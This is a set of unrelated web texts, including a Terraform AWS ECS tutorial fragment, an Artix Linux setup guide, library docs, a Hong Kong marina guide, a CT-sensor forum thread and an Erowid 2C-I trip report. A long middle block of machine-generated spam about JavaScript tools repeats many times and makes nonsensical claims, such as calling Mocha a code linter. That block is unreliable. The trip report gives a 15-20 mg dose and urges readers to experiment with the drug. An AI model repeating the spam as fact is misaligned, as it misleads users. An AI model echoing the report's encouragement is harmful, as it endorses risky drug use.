container_name = "${aws_ecs_task_definition.southpark_task.family}"
container_port = 45678 # Specifying the container port
}
network_configuration {
subnets = data.aws_subnet_ids.default.ids
assign_public_ip = true # Providing our containers with public IPs
security_groups = ["${aws_security_group.service_security_group.id}"] # Setting the security group
}
depends_on = [aws_lb_listener.lsr, aws_iam_role_policy_attachment.ecsTaskExecutionRole_policy]
}
We need a load balancer as the access point to our container. The load balancer needs a security group, so we need to create that too
# Creating a security group for the load balancer:
# This is the one that will receive traffic from internet
resource "aws_security_group" "load_balancer_security_group" {
description = "control access to the ALB"
ingress {
from_port = 45678
to_port = 45678
protocol = "tcp"
cidr_blocks = ["<IP_ADDRESS>/0"] # Allowing traffic in from all sources
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["<IP_ADDRESS>/0"]
}
}
#ECS will receive traffic from the ALB
resource "aws_security_group" "service_security_group" {
description = "Allow acces only from the ALB"
ingress {
from_port = 0
to_port = 0
protocol = "-1"
# Only allowing traffic in from the load balancer security group
security_groups = ["${aws_security_group.load_balancer_security_group.id}"]
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["<IP_ADDRESS>/0"]
}
}
The idea is that all traffic will be received by our load_balancer_security_group (ALB), and the service_security_group will receive only from the ALB.
Just for debugging, we have also an output to show us the URL that will use to access our Southpark example
output "alb_url" {
value = "http://${aws_alb.application_load_balancer.dns_name}"
}
If you run terraform apply
you will have now a cluster with 1 task and 1 service running on it.
Also in your terminal, you’ll see the output with the URL, we can use that one to check our results with CURL as in the Southpark example.
That’s it! But just before you go and nap, do a terraform destroy if you won’t need it anymore so you release all the resources and don’t get charged extra in AWS if you’re using the free version.


Artix Linux - Post-installation
Dell G5 5590
Personal Artix Linux post-installation guide for a Dell G5 5590. This guide is a complement of my Artix Linux post-installation guide and is part of my Linux installation guide.
It will be assumed that this guide is done using an unprivileged user.
Graphics card - Nvidia RTX 2060
$ sudo pacman -S nvidia nvidia-settings
Power management
Set the kernel parameter mem_sleep_default
to deep
(see
this)
... mem_sleep_default=deep ...
If there is a long waiting time when resuming (see
this), blacklist the kernel module
ucsi_ccg
/etc/modprobe.d/dell.conf
blacklist ucsi_ccg
X Window System
PRIME Render Offload
According to the official documentation, the X server will automatically use NVIDIA's PRIME render offload (since the X server version in the repositories is newer than 1.20.7). To check this, execute
$ xrandr --listproviders
and check that the output has a provider provider named "NVIDIA-G0", for example:
Providers: number : 2 Provider 0: id: 0x46 cap: 0xf, Source Output, Sink Output, Source Offload, Sink Offload crtcs: 3 outputs: 5 associated providers: 1 name:modesetting Provider 1: id: 0x270 cap: 0x2, Sink Output crtcs: 4 outputs: 3 associated providers: 1 name:NVIDIA-G0
If automatic configuration does not work, explicitly configure the iGPU and dGPU devices:
/etc/X11/xorg.conf.d/20-nvidia.conf
Section "ServerLayout" Identifier "layout" Screen 0 "iGPU" EndSection Section "Device" Identifier "iGPU" Driver "modesetting" EndSection Section "Screen" Identifier "iGPU" Device "iGPU" EndSection Section "Device" Identifier "dGPU" Driver "nvidia" EndSection
Offloading Graphics Display
Configure the X Server according to the official documentation:
/etc/X11/xorg.conf.d/20-nvidia.conf
Section "ServerLayout" Identifier "layout" Screen 0 "dGPU" Inactive "iGPU" EndSection Section "Device" Identifier "dGPU" Driver "nvidia" BusID "<busID_nvidia>" EndSection Section "Screen" Identifier "dGPU" Device "dGPU" Option "AllowEmptyInitialConfiguration" EndSection Section "Device" Identifier "iGPU" Driver "modesetting" EndSection Section "Screen" Identifier "iGPU" Device "iGPU" EndSection
where <busID_nvidia>
is the PCI Bus ID of the Nvidia graphics card. To get the appropriate
Bus ID (e.g., PCI:1:0:0
), execute
lspci | grep VGA
Add the following lines to ~/.xinitrc
:
~/.xinitrc
... xrandr --setprovideroutputsource modesetting NVIDIA-0 xrandr --auto ...


{{define "http-error"}} {{if eq .Content.StatusCode 404}} Page not found This is not what you are looking for. {{else}} {{ .Content.StatusText }} Oops, something went wrong. {{end}} {{with .Content.Errors}}{{template "http-error-list" .}}{{end}} {{end}} {{define "http-error-list"}}
This is not what you are looking for.
Oops, something went wrong.


About
This is my playground for exploring web programming and data visualisation.
Currently all the data comes from the Office of National Statistics datasets, mainly covering the UK's economy and population.
You can find the code for this site on Github


Introduction¶
LibSCAPI is an open-source general library tailored for Secure Computation implementations. libscapi provides a flexible and efficient infrastructure for the implementation of secure computation protocols, that is both easy to use and robust. We hope that SCAPI will help to promote the goal of making secure computation practical.
Why Should I Use libscapi?¶
- libscapi provides uniformity. As of today, different research groups are using different implementions. It is hard to compare different results, and implementations carried out by one group cannot be used by others. libscapi is trying to solve this problem by offering a modular codebase to be used as the standard library for Secure Computation.
- libscapi is flexible. libscapi’s lower-level primitives inherit from modular interfaces, so that primitives can be replaced easily. libscapi leaves the choice of which concrete primitives to actually use to the high-level application calling the protocol. This flexibility can be used to find the most efficient primitives for each specific problem.
- libscapi is efficient. libscapi is implemented in c++ and wraps the most efficient libraries and implementations in order to run more efficiently. For example, elliptic curve operations in libscapi are implemented using the extremely efficient Miracl library written in C.
- libscapi is built to please. libscapi has been written with the understanding that others will be using it, and so an emphasis has been placed on clean design and coding, documentation, and so on.
Architecture¶
libscapi is composed of the following four layers:
- Low-level primitives: these are functions that are basic building blocks for cryptographic constructions (e.g., pseudorandom functions, pseudorandom generators, discrete logarithm groups, and hash functions belong to this layer).
- Non-interactive mid-level protocols: these are non-interactive functions that can be applications within themselves in addition to being tools (e.g., encryption and signature schemes belong to this layer).
- Interactive mid-level protocols: these are interactive protocols involving two or more parties; typically, the protocols in this layer are popular building blocks like commitments, zero knowledge and oblivious transfer.
- High level Protocols: these are implementations of known cryptographic multi-party and two-party protocols. For example, Yao and GMW.
In addition to these four main layers, there is an orthogonal communication layer that is used for setting up communication channels and sending messages and also a circuit package that contains boolean circuits and garbled boolean circuit implementations used in libscapi’s layers.


Exemplo de aplicação com po-menu, po-toolbar e po-page utilizando a classe .po-wrapper
Browserify is a commonly occurring problem of functions of creating objects to load JavaScript framework. XHR is a project. Some simple authentication middleware. Model DOM manipulation. Nightmare is JSON for JavaScript engines has some strict properties. Bluebird is another common host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models.Browserify is a commonly occurring problem of functions of creating objects to load JavaScript framework. XHR is a project. Some simple authentication middleware. Model DOM manipulation. Nightmare is JSON for JavaScript engines has some strict properties. Bluebird is another common host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models.Browserify is a commonly occurring problem of functions of creating objects to load JavaScript framework. XHR is a project. Some simple authentication middleware. Model DOM manipulation. Nightmare is JSON for JavaScript engines has some strict properties. Bluebird is another common host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models. Browserify is a commonly occurring problem of functions of creating objects to load JavaScript framework. XHR is a project. Some simple authentication middleware. Model DOM manipulation. Nightmare is JSON for JavaScript engines has some strict properties. Bluebird is another common host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models.Browserify is a commonly occurring problem of functions of creating objects to load JavaScript framework. XHR is a project. Some simple authentication middleware. Model DOM manipulation. Nightmare is JSON for JavaScript engines has some strict properties. Bluebird is another common host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models.Browserify is a commonly occurring problem of functions of creating objects to load JavaScript framework. XHR is a project. Some simple authentication middleware. Model DOM manipulation. Nightmare is JSON for JavaScript engines has some strict properties. Bluebird is another common host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models.on host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models.on host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models.on host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models.on host objects. Npm is used for the standardized in a design pattern that introduces types. Facebook for dynamic web applications. Chrome is a project or graphics within a fast and possibly complex tasks. Flux is a JavaScript engine is a pattern that a library to develop 3D. Sails is a Javascript NoSQL database with incomplete direct support for Node. Mocha is a JavaScript code linter. testing framework that will be universal isomorphic when a swiss army knife, focusing on a task runner aiming at Yandex for efficient data models. PhantomJS is the host environment for the host environment for native desktop and installation process to ECMAScript 2015 / ES6 code linter. Gulp is Google’s library developed and desktop applications in or 3D content or part of Ajax support, higher-order programming paradigm that are not Web-based, such as API for many frameworks in a CouchDB is a standard libraries, the browser rather than on a pattern that allows you to be used in the browser feature detection library, useful to create host environment. Although there are explicitly exposed. AngularJS, and flexible code linter. Javascript NoSQL database with multiple resources management. XHR is a simple, pluggable static site generator. Falcor is a creational design pattern that introduces types. Ionic is a JavaScript. Interactive content, for its Edge browser. API that ensures that HTML and playing audio and faster JavaScript primitive types. C. Linked Data. Self and MongoDB. On the subject, maintains a JavaScript programs. Brunch is an ecosystem for creating user interfaces with the server to help publishing packages to, and manipulate to be easily referenced. Hoisting is a swiss army knife, focusing on data models.


Victoria Harbour lies to the north of Hong Kong Island, on the west coast of the Kowloon peninsula on the Chinese mainland. Kowloon Bay is on the eastern side.
Victoria Harbour, Hong Kong :©Alxandru Gurita
For full details of clearance see Hong Kong/Formalities/Clearance
Last updated February 2014.
There are several marinas here, some of which are private members clubs. Berthing charges are expensive compared with other Pacific locations.
For more options see the Hong Kong/New Territories page.
It is possible to anchor anywhere in Hong Kong Harbour but many places are choppy and uncomfortable.
Aberdeen harbour lies on the southern side of Hong Kong Island and is a designated typhoon shelter. However, it is not a comfortable place to anchor.
The Aberdeen Boat Club has two clubhouses; one in Aberdeen Harbour with a long dock for pick up/set down only, and another at Middle Island, further to the east. This is the cruisers' preferred option and provides safe typhoon moorings and anchorage.
There are many small yards in the immediate vicinity of Aberdeen Harbour which can undertake most repair jobs.
Last updated February 2014.
Aberdeen Boat Club, Middle Island, Hong Kong :©Karin Stubbs
There are several yacht clubs, which usually offer temporary membership to visitors if they are members of an overseas club or are introduced by a local member. Most clubs have some moorings and also repair facilities.
The Royal Hong Kong Yacht Club in Causeway Bay has the best location and is also a typhoon shelter. It has some places available for visitors on floating pontoons, but the maximum draft is approximately 10 ft (3 m). Moorings are also available, from where one commutes by sampan to the club house. Repair facilities are good and there is also a travelift. The yacht club is close to all amenities. If no space is available, it is better to try one of the marinas out of town.


Varna library
Remorker Architects team is happy to have participated in this great competition and proud to be published by the jury. Congratulations to all the award winning entries as well as all of the other 370 teams.
Competition concept description: The new Public Library in Varna will challenge and critique the role of public building in contemporary society. Unlike traditional public building, which was allocated with monumental form, entrance and open space (Municipality Hall), the new Public Library is a mixture of those elements in a unique...
Bistro Reloc Hotel
A hotel bar designed to service the guests of a boutique business hotel in Zurich. It offers style and elegance needed for a business launch or a late evening cocktail drink.
The luxurious black stone bar dominates the space which is rich in gold and wood details. Special attention is given to the ceiling lights covered in brass plates...
Floating hotel
A project ordered by private client for a new Belgrade boutique hotel. The hotel is located by the banks of Danube River and in the center of Serbian capital city as well.
Building on water is something RA team approaches with great enthusiasm. In this case, thirteen small rooms with great views over the river and cityscape were designed, together with other accommodation utilities...
FitStop
Mini Store
RemorkerArchitects are commissioned for a project of interior design that would define a new visual identity for already existing healthy food production company. The concept would offer exposed process of food preparation to the visiting guests.
Limited to no more than 25sqm of space, the shop on one hand gives visitors insight to the production line, and on the other reminds the users of how important...
Caffe Dalton
Belgrade, Serbia
Café Dalton is a well-known cafe in the center of Zemun, Belgrade. A traditional meeting point and a favorite drinking and chatting spot for young and old. The client’s wish was for a complete redesign and a makeover that would bring more story to its famous name.
The black and white stripes from Dalton brother’s prison wardrobe become a central theme for this project. The main objective of the task was to bring the comic...


If the input type is a 14-segment display - please input the text or number to be displayed
If if it is an LED please input an array of values seperated by a comma ','
If it is a switchboard, please input the switch coordinates in the form '{(1, 4), (3, 3), (2, 5)}'


I am 22-years-old from Pittsburgh, PA in my senior year at Point Park University. I am majoring in Information Technology an plan to use the skills learned in the major to make my own and help make video games after I graduate. I also know the Japanese language quite well, whih will help me on my dream to work at Nintendo of Japan.
| Interests | Courses | ||||
| Video Games | Anime | Music | BMGT 221 | BMGT 417 | CMPS 262 |
| Streaming/Recording | Japanese |


I recently got hold of some 2CI, having not taken any of the other types before, i did a little prep beforehand but didn't read to much as i decided to only take a small dose first to get a feel for the drug, unfortunately, as i didn't have a proper measuring device i ended up taking more than just a little taste and took between 15 - 20mg, who knew? - me after about 1.30h.
[Erowid Note: A volume amount of one powder doesn't necessarily weigh the same as the same volume of another powder. For substances active at such a small dose, eyeballing is particularly unwise. See related article]
It was a Sunday night and i dosed at 8.00pm. I was home alone and wanted to get a feel for the drug before introducing it to my friends.
 I decide to smoke a small spliff and get into the tv show, by the end of the show about 1.45h in on the trip i suddenly think, damn...this show has been on for ages (time dilation), at this point i start to feel muscle twitches and an energy pulsating through my body...i notice shadows and lights move around in my peripheral vision, colour also changes like with acid.
By 2.15h in i start to feel really cold and realise that i have taken a stronger dose than expected, i'm not to worried but have a brief moment of paranoia but am able to control it and find that mentally i can still function quite well, i do have alot of thoughts in my head but i don't get stuck with negative thought loops like i do with acid.
By 3.00 its still going strong, i find myself becoming very introspective... i don't like what i'm seeing, a feeling of displeasure washes over me and for some reason i feel angry at myself. I know that i'm the only person i can blame for my problems and realise that we all have our axes to grind, all of us humans, each trapped in our own heads experiencing the world subjectively. This thought helps me feel less alone and less trapped.
By 4.00 i can feel the 2CI wearing off, a nice pleasant after glow for the next two hours. Trying to read is still a slow business as the text moves like waves in the sea. I watch some tv and find myself getting completely engrossed in to a show i would not normally watch.
Conclusion:
Despite having a much stronger experience than i originally planned, and some uncomfortable moments i really enjoyed the trip. Next time i would like to take it with friends or at a festival as i found although i felt off balance when walking i had plenty of energy on this drug and feel i could hold a philosophical conversation quiet easily...Definitely worth experimenting with.
Have fun and be safe.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


A developer guide to Sonoport JavaScript Sound Models
The Sonoport JavaScript Sound Models allow developer to leverage the new WebAudio API to create interactive experiences with dynamic sound in the browser. This plugin-free technology is purely based on JavaScript, and only requires a browser which has WebAudio API enabled. Chrome, Firefox, Safari and Opera have the API currently enabled.
The current release is 2.5.10. It currently contains six sound models, Looper
, Trigger
, MultiTrigger
, Extender
, Activity
and Scrubber
, and five effects, Fader
, Compressor
, Filter
, Panner
, Distorter
.
All current models require some sort of source material, mp3 or wav audio files, which can be used by the models as source.
There is no installation step for the Sonoport JavaScript Sound Models.
To use the Sonoport JavaScript Sound Models, you need the following things.
The Models are JavaScript libraries and use the requirejs style of AMD. Following steps will let you use the Sonoport JavaScript Sound Models in your code.
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/require.js/2.1.11/require.min.js"></script>
Trigger.js
) is also loaded into your context. You might have to ensure that it is loaded AFTER requirejs.<script type="text/javascript" src="js/Trigger.js"></script>
models/Looper
or models/Trigger
as the names of the requirements)require(["models/Looper"], function (Looper) {
var loop = new Looper("https://dl.dropboxusercontent.com/u/77191118/loop.wav",function(){
console.log("Loaded!");
loop.play();
});
console.log("Loading Audio File...");
});
The Sound Models are initialized using the constructor, and accept a single URL or an array of URLs as the first argument, and a async callback as the second argument triggered when the audio files are loaded. Detailed information about the API can be found in the API docs
The Sonoport JavaScript Sound Models emulate the Web Audio API AudioNode. Many methods and parameters APIs exposed by the Sound Models are similar to the WebAudio API AudioNodes and AudioParams;
Once the audio files are loaded, each Sound Model exposes an array of Parameter which can be tweaked in real time, as well as actions which can be performed on the Sound Mode.
require(["models/Looper"], function (Looper) {
// Create a new Looper
var loop = new Looper(null,"https://dl.dropboxusercontent.com/u/77191118/loop.wav",null,function(){
console.log("Loaded!");
loop.play();
// Pause the Looper after 1 second
window.setTimeout(function(){
console.log("Pausing!");
loop.pause();
}, 1000);
// Restart the Looper after 3 seconds
window.setTimeout(function(){
console.log("Playing Again!");
loop.play();
}, 3000);
// Stop the Looper after 5 seconds
window.setTimeout(function(){
console.log("Stopping!");
loop.stop();
}, 5000);
});
});
value
property of the Parameter.require(["models/Looper"], function (Looper) {
var loop = new Looper(null ,"https://dl.dropboxusercontent.com/u/77191118/loop.wav",null,function(){
console.log("Play Faster");
loop.playSpeed.value = 2;
loop.play();
// Reduce the speed after 3 seconds
window.setTimeout(function(){
console.log("Play Slower!");
loop.playSpeed.value = 0.5;
}, 3000);
});
});
The following page has a list of Models and Parameters. It contains,
For more complete description, please take a look at the API Documentation.
Since Sonoport JavaScript Sound Models are based on the WebAudio API, they internally use the WebAudio AudioContext
to synchronize with time. The AudioContext
exposes a running clock through its property currentTime
. This clock can be used to schedule actions and parameter changes at an exact time instance in the future.
All the actions and some of the parameters exposed by the Sonoport JavaScript Sound Models support scheduling. The actions (play
, pause
, start
, stop
, release
), accept an argument which is the time in the domain of the AudioContext currentTime. This is the exact time at which the action will be executed.
Similary, the Parameters of each Sound Model also expose the Parameter Automation API as defined by the WebAudio API. This API allows parameters to be changed automatically syncronously with the AudioContext clock. This functionality on Sonoport JavaScript Sound Models is experimental and may break.
To allow synchronization between various Sound Models, each Sound Model accepts an AudioContext
object in its constructor. This was multiple Sound Models can share the same AudioContext and hence be scheduled synchronously.
The WebAudio API has builtin support for Gain Node which affect the volume of the audio, and Panner Node which affects the left/right panning of the audio. The Sonoport Sound Models are made to work with these and other WebAudio native nodes. To connect the a Sound Model with a native Node, the standard Web Audioconnect
/disconnect
methods are avilable on Sound Models.
The only thing to note here is to remember to disconnect
before connecting to an external Node.
Here is an example of how a Gain Node can be added to the Looper Sound Model
require(["models/Looper"], function (Looper) {
var gain;
var loop = new Looper(null,"https://dl.dropboxusercontent.com/u/77191118/loop.wav",null,function(){
// Create a Gain Node
gain = loop.audioContext.createGain();
// Disconnect from the output
loop.disconnect();
// Connect to gain
loop.connect(gain);
// Connect gain to output
gain.connect(loop.audioContext.destination);
// Set the value of 0-1;
gain.gain.value = 0.5;
loop.play();
});
});
Attached is an example of hooking up a Slider and a Button to the Looper Sound Model.


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Come early! Drinks and pizza being served starting at 6:15PM, and presentations start at 7PM.


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CCAnnotation.pm - A class from which all annotations used with coloredChromosomes.pl are to be derived
Subclass by: @ISA = qw(CCAnnotation); use CCAnnotation;
This class is an abstract superclass from which all classes implementing annotations for coloredChromosomes.pl are derived. Each subclass has to implement the method draw which is to draw a single chromosome. Each instance of CCAnnotation (or a subclass) can assume that an instance variable called 'ps' is initialized. This is a Postscript object which supports many postscript operators (see Postscript). When draw is called the instance may safely assume the shape of the current chromosome to be the chromosomal shape, which is clipped to if the annotation is internal.
The following methods can be used to determine positions along the chromosome:
positionFromSpec($spec)
- return the a relative positions (0 to 1) of the position $spec along the chromosome
absolutePositionFromSpec - return the vertical position in points of the specified position
absoluteSizeOfBand($bandName)
- return the size of a band from the current chromosome in points
midBandPosition($bandName)
- return the vertical middle position of the band from the current chromosome named $bandName in points.
The format of specifications for chromosomal locations is detailed in the man page of coloredChromosomes.pl. The implemented annotation classes can be referred on as examples on how to explore the use of these methods.
coloredChromosomes.pl(1) Postscript(3)


A ct (current transformer) sensor is a transformer whose output is dependent on current in the primary (the wire you clamp it on), the geometry and composition of the device and, presumably, the frequency of the AC.
We think of mains AC as 50Hz, but surely if you are using a triac there will be high frequency components to the current which will have an effect on the coupling of the current transformer.
I hope I am wrong.
Forgiveness, please, for any duplication of another thread due to difficulty of searching.
Re: CT sensor inaccuracy due to triac
Yes, I'm afraid you are wrong. CTs in general (and I tested the standard Yhdc one to 2.5 kHz) are good to quite high frequencies and so should give a fairly faithful reproduction of the current waveform. The limitation is likely to be in the sampling rate of the microprocessor - the Nyquist criterion - which limits the highest frequency that can be digitised to half the sample rate. The calcIrms( ) library function works out to about 117 samples per cycle at 50 Hz, i.e. roughly the same as the upper frequency that I tested, and the calcVI( ) function limitation is about half this.
See here: http://openenergymonitor.org/emon/buildingblocks/report-yhdc-sct-013-000... for the details.
Re: CT sensor inaccuracy due to triac
Would the current transformer (CT) work for DC?
Re: CT sensor inaccuracy due to triac
as mentioned in treat: http://openenergymonitor.org/emon/node/265
You can't use an COIL based ampere sensor for measuring Direct Current flows.
You need an sensing resistor for this.
Re: CT sensor inaccuracy due to triac
Sorry, that was a rhetorical question. So there is a relationship between the efficiency of a transformer and frequency since at 0Hz the efficiency is zero.
What is the nature of the relationship between efficiency of the transformer versus frequency above 0HZ?
